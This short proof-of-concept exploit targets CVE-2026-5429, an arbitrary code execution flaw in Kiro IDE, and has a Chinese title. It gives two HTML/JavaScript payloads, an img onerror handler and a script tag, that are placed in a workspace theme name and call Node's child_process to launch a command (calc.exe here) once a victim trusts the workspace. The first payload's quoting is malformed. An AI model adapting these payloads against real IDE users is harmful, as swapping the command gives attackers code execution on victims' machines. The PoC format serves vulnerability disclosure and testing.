CVE-2026-5429 Kiro IDE 任意代码执行漏洞

// PoC for CVE-2026-5429 // This payload demonstrates how a crafted theme name can lead to code execution. // In a real attack, this string would be placed in the workspace configuration file. // Example payload to execute a command (e.g., opening calculator) const payload = "<img src=x onerror='window.require(\"child_process\").exec(\"calc.exe\")>'"; // Alternatively, using a script tag if the context allows const scriptPayload = "<script>require('child_process').spawn('cmd', ['/c', 'calc'])</script>"; console.log("Malicious Theme Name Payload:", scriptPayload); // Note: The victim must open the workspace and click 'Trust' for the payload to trigger.